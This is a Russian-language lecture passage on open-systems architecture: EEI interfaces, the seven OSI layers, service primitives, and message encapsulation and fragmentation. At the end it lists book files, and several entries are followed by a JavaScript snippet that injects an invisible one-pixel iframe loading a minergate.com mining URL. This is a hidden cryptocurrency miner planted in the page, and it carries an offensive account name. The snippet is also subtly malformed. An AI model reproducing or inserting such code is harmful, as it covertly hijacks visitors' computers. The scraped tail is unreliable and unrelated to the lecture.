Интерфейс EEI представляет собой совокупность всех трёх интерфейсов (CSI, HCI, ISI), каждый из которых имеет характеристики, определяемые внешним устройством ( рис. 2.5):

интерфейс коммуникационных сервисов (Communication Service Interface - CSI) - интерфейс, который обеспечивает сервис для реализации взаимодействия с внешними системами. Реализация взаимодействия осуществляется с помощью стандартизации протоколов и форматов данных, которыми можно обмениваться по установленным протоколам
человеко-машинный интерфейс (Human Computer Interface - HCI) - интерфейс, через который осуществляется физическое взаимодействие пользователя и системы программного обеспечения
интерфейс информационных сервисов (Information Service Interface - ISI) - граница взаимодействия с внешней памятью долговременного хранения данных. Обеспечивается стандартизацией форматов и синтаксиса представления данных.

Рис. 2.5.

Прикладная платформа через оба основных интерфейса к платформе предоставляет сервисы для различных применений.

Среда OSE обеспечивает функционирование ППО, используя определенные правила, компоненты, методы сопряжения элементов системы (Plug Compatibility) и модульный подход к разработке программных и информационных систем. Достоинствами модели являются выделение внешней среды в самостоятельный элемент, имеющий определенные функции и соответствующий интерфейс, и возможность ее применения для описания систем, построенных на основе архитектуры "клиент-сервер". Относительный недостаток - еще не все требуемые спецификации представлены на уровне международных гармонизированных стандартов.

Архитектура открытых систем

Термин «архитектура связи» подразумевает, что отдельные подзадачи сети выполняются различными архитектурными элементами, между которыми устанавливаются пути передачи информации (каналы связи и интерфейсы). Способ, с помощью которого сообщение обрабатывается структурными элементами и передаются по сети, называется сетевым протоколом . Проблемы совмещения и стыковки различных элеменᴛᴏʙ ВС привели Международную организацию стандартизации (ISO International Organization for Standards) к созданию модели архитектуры вычислительной сети, которая называется моделью взаимодействия открытых систем 1977 г. (ВОС/OSI).

Базовая эталонная модель взаимодействия открытых систем

Цель разработки этой модели заключалась в определении логических ограничений для сетевых стандарᴛᴏʙ, приемлемых для всех изгоᴛᴏʙителей, что позволило бы им создавать уникальные и конкурентоспособные изделия, которые однако стыковались с изделиями других изгоᴛᴏʙителей. Модель OSI является обобщенной и применима как к глобальным, так и к локальным ВС.

В модели используется подход уровневой архитектуры, в которой все функции сети разделены на уровни таким образом, что вышележащие уровни используют услуги, предоставленные нижележащими уровнями. Термин «открытые» системы означает, что если система соответствует стандартам ВОС, то она будет открыта для взаимосвязи с любой другой системой, которая соответствует тем же стандартам ВОС.

Услуги каждого уровня ВОС определяют в абстрактном виде интерфейс между двумя смежными уровнями, не задавая при этом способа его реанимации. Услуги уровня определяют его функциональные возможности. Запрос услуг и оповещение о результатах их выполнения происходит путем обмена примитивами элементарными абстрактными единицами взаимодействия между П. и исполнителем (И) услуг. Определено 4 типа примитивов:

Запрос выдается П. для инициации услуги;

Индикация выдается И. Важно понимать - для указания на то, что удаленный П. инициировал выполнение услуги;

Ответ выдается П. как реакция на примитив индикация;

Подтверждение выдается И. Важно понимать - для сообщения о результатах выполнения услуги.

Протоколы определяют логику взаимодействия удаленных логических объекᴛᴏʙ одного уровня. При этом задается формат и кодирование протокольных блоков данных (ПБД), с помощью которых осуществляется такое взаимодействие - интерпретация запросов на услуги от верхнего уровня и правила пользования услугами нижележащего уровня.

Модель OSI это набор протоколов для определения и стандартизации всего процесса передачи данных, разработанного Международной организацией стандартизации (ISO).

Процесс передачи данных делится на 7 уровней, в пределах которых устанавливаются стандартные протоколы, разработанные ISO и некоторыми фирмами, причем количество этих протоколов велико.

Модель OSI не является единственным описанием процесса передачи данных, а говорит, что

есть способ разбиения процесса передачи данных на уровни и существуют определенные протоколы, которые можно применять на любые уровни.
любой последовательный уровень модели OSI взаимодействует с предыдущим.
любой уровень обладает свойством модульности: замена одного протокола другим в рамках уровня не влияет на работу протоколов верхнего или нижнего уровня.

Взаимосвязь между узлами сети:

	Оконечная система 1	Протоколы уровней	Оконечная система 2	Основные функции уровней
	Прикладной процесс		Прикладной процесс
Прикладной (SMTP, FTP, TELM)				Службы пользователей, сетевые службы и т.д.
Представительный				Преобразование структурированных данных и манипулирование ими.
Сеансовый				Установление соединений, координация и синхронизация диалога.
Транспортный				Обеспечение независящего от передающей среды транспортного сервиса между оконечными системами.
				Коммутация и маршрутизация в сети.
Канальный (HDLC, SDLC, X.25)				Управление передачей данных по каналу. Контроль ошибок, возникающий из-за физической среды передачи.
Физический (IEEE 802.3, 802.4, 802.5)				Предоставление средств для управления физическими соединениями в канале.
Физическая среда для соединения систем

Уровни OSI реализуют следующие сетевые функции:

Физический уровень . Обеспечивает физический путь для электрических сигналов, представляющих биты переданной информации. Он также устанавливает характеристики этих сигналов (к примеру, значения напряжения и тока). Он определяет механизм свойства кабелей и разъемов. Физический уровень представляет средства, позволяющие подсоединяться к физической предающей среде и управлять её использованием. Это единственное реальное взаимосвязь между узлами сети.

Надо заметить, что физическая среда как таковая не входит в эталонную модель, хотя очень важна для её реализации. Это каналы связи, модемы, канальное оборудование (мультиплексоры, ЭВМ, контроллеры, терминалы и т.д.), совокупность кабелей, повторителей сигналов.

Канальный уровень . Определяет правила совместного использования физического уровня узлами ВС. Информация передается адресованными порциями (кадрами) по одному кадру в единицу времени. На канальном уровне определяются формат этих кадров и способ, согласно которому узел решает, когда можно передать или принять кадр.

Используется 2 основных типа кадров: пакеты и управляющие кадры.

Пакеты кадры данных, которые содержат сообщения верхних уровней.

Управляющие кадры маркеры, подтверждения.

Методы обнаружения и коррекции ошибок обеспечивают безошибочное прохождение пакеᴛᴏʙ от узлов источников к узлам назначения.

С точки зрения верхних уровней канального и физического уровней обеспечивают безопасную передачу пакеᴛᴏʙ данных.

Сетевой уровень. Отвечает за буферизацию и маршрутизацию в сети.

Реализует функции связи между 2-мя отдельными сетями. Преобразование логических адресов в физические.

Транспортный уровень . С передающей стороны делит длинные сообщения на пакеты данных. С принимающей стороны должен правильно собрать сообщения из набора пакеᴛᴏʙ, полученных через канальный и сетевой уровень.
Сеансовый уровень . Отвечает за обеспечение сеанса связи между двумя процессами пользователей в двух различных узлах сети. Сеанс создается по запросу П., переданному через прикладной уровень и уровень представления. Сеансовый уровень отвечает за определение возможности начала сеанса, за ᴇᴦᴏ поддержание и окончание. Устанавливает соглашения относительно формы обмена.
Уровень представления . Является самым простым с точки зрения взаимосвязи. Его функция заключается в преобразовании сообщений П. из формы, используемой прикладным уровнем, в форму, используемую более низкими уровнями. Целью преобразования сообщения (кодирования) является сжатие данных и их защита. Гарантирует, что данные, которыми обмениваются устройства, поступают на прикладной уровень или к устройствам П. в понятном для них виде. Это предоставляет возможность использовать в различных комплектах оборудования различные форматы данных без ущерба для взаимопонимания.
Прикладной уровень. Является границей между процессами сети OSI и прикладными (пользовательскими) процессами. Непосредственно поддерживает обмен информацией между пользователями, прикладными программами или устройствами. На этом уровне требуется несколько типов протоколов:
1. для конкретных специфичных приложений (передачи файлов, электронная почта)
2. общие протоколы для поддержки пользователей и сети (к примеру, для вычислений, управления доступом, проверки полномочий пользователей)

Прикладной уровень дает определить адресата, сформировать запрос и послать его через сеть, передать и получить запрошенные данные, сделать их доступными для запрашивающего процесса.

Отдельные уровни могут быть совмещены или отсутствовать.

Реальная связь: физический уровень физический уровень

Информация проходит от прикладного уровня к физическому в узле источника и от физического к прикладному в узле назначения.

Между процессами на одинаковых уровнях существуют виртуальные связи

Необходимо еще пояснить некоторые понятия, относящиеся к эталонной модели OSI:

упаковка
фрагментация

Структура сообщений

Многоуровневая организация управления процессами в сети пораждает необходимость модификации на любом уровне передаваемых сообщений.

Схема модификации сообщений

Упаковка

Данные, передаваемые в форме сообщения, снабжаются заголовком и концевиком, в которых содержится следующая информация:

указатели типа сообщений
адреса отправителя, получателя, канала, порта
код обнаружения ошибок

Каждый уровень оперирует с собственными З и К, а находящаяся между ними информация рассматривается как данные более высокого уровня. Засчет этого обеспечивается независимость данных, относящихся к разным уровням управления передачей сообщений.

Фрагментация

Дает возможность разделить сообщение на меньшие части, которые затем обрабатываются и предаются независимо. На принимающем конце эти части должны быть собраны для воссоздания в форме исходного сообщения.

(транспортый уровень разбивка/сборка пакеᴛᴏʙ)

Использование небольших пакеᴛᴏʙ данных упрощает разработку протоколов нижних уровней.

В принципе не имеет значения, реализуется уровень аппаратным или программным способом (никаких требований OSI модель не формирует) лишь бы выполнялись функции, а формы соответствовали межуровневым интерфейсам.

Обычно из-за требований высокой скорости и повышенной нагрузки в направлении приема канальный уровень, как физический, реализуется аппаратно.

Более высокие уровни обычно реализуцется как процессы, принадлежащие ОС или активизируемые ОС.

(см. рис.)

Прикладной процесс в системе А (ур. 7) формирует сообщение прикладному процессу в системе В в соответствии с логикой взаимодействия этих двух прикладных процессов (но без учета организациии сети). Физически сообщения, формируемые процессом А, проходят последовательно через уровни 6,5,…,1, подвергаясь процедурам последовательного обрамления, предаются по каналу связи и затем через уровни 1,2,…,6, на которых с сообщений снимаются обрамления, поступают к процессу В. каждый уровень работает со своим заголовком и концевиком. Все, что между ними рассматривается соответствующим уровнем как данные.

В заголовки помещаются команды для вызова функций в соответствующих уровнях другого узла связи:

Уровень N+1 вызывает функцию для формирования в передающем узле поле контроля последовательности.

Уровень N+1 принимающего узла производит проверку наличия ошибок при передаче на базе сравнения контрольного поля со значением счетчика приема.

Сервисная функция уровня N добавляет поле контроля последовательности в виде заголовка, который будет использоваться в принимающем N уровне для контроля ошибок.

На уровне N-1 производится сжатие данных

В принимающем узле эта функция (заголовок) используется как команда преобразования к исходнуму виду.

Заголовок это управляющая информация протокола .

Концевик управляющая информация интерфейса , кторый используется только между смежными уровнями одного и того же узла. Он содержит команды, которые должны быть выполнены нижележащим уровне. Например, это может быть команда обеспечить ускоренное прохождение через уровень, т.е. выполнить операции мультиплексирования на нижних уровнях.

При описании протокола принято выделять его логическую и процедурную характеристики.

Логическая характеристика протокола это структура (формат) и содеоржание (семантика) сообщений. Логическая характеристика задается перечислением типов сообщений и их смысла. Правила выполнения действий, предписанных протоколом взаимодействия, называется процедурной характеристикой протокола . Процедурная характеристика может представляться в различной математической форме: операторными схемами алгоритмов, автоматными моделями, сетями Петри и др.

На основании выше сказанного приходим к выводу, что логика организации сети определяется протоколами, устанавливающими как тип и структуру сообщений, так и процедуры их обработки реакцию на входящие сообщения и генерацию собственных сообщений.

Заключение

Протоколы, стандарты и интерфейсы нижних уровней относительно стабильны и отработаны. Они формируют устойчивую основу, на которой строятся верхние уровни.

Многие же протоколы высоких уровней находятся в различных стадиях разработки (хотя некоторые уже утверждены).

Завершить полностью разработку всех элеменᴛᴏʙ верхних уровней вряд ли возможно из-за количества и разнообразия прикладных областей.

заголовок

концевик

Зn+1

Кn+1

Зn+1

Кn+1

Зn+1

Зn-1

Кn-1

Кn-1
Микроконтроллеры. Архитектура, программирование, интерфейс (В.Б. Бродин, 1999).djvu

Микроконтроллеры семейства MCS-51. Архитектура, программирование, интерфейс.djvu

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })();...

Микроконтроллеры PIC. Архитектура и программирование (Ю.С.Магда, 2009).pdf

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })(); ...

Петер Нойферт, Людвиг Нефф, Проектирование и строительство. Дом, квартира, сад - Архитектура-С (2005)(DJVU) Русский, 5-9647-0067-5.djvu

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/fcn/podivilovhuilo%40yandex.ru/3/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })(); ...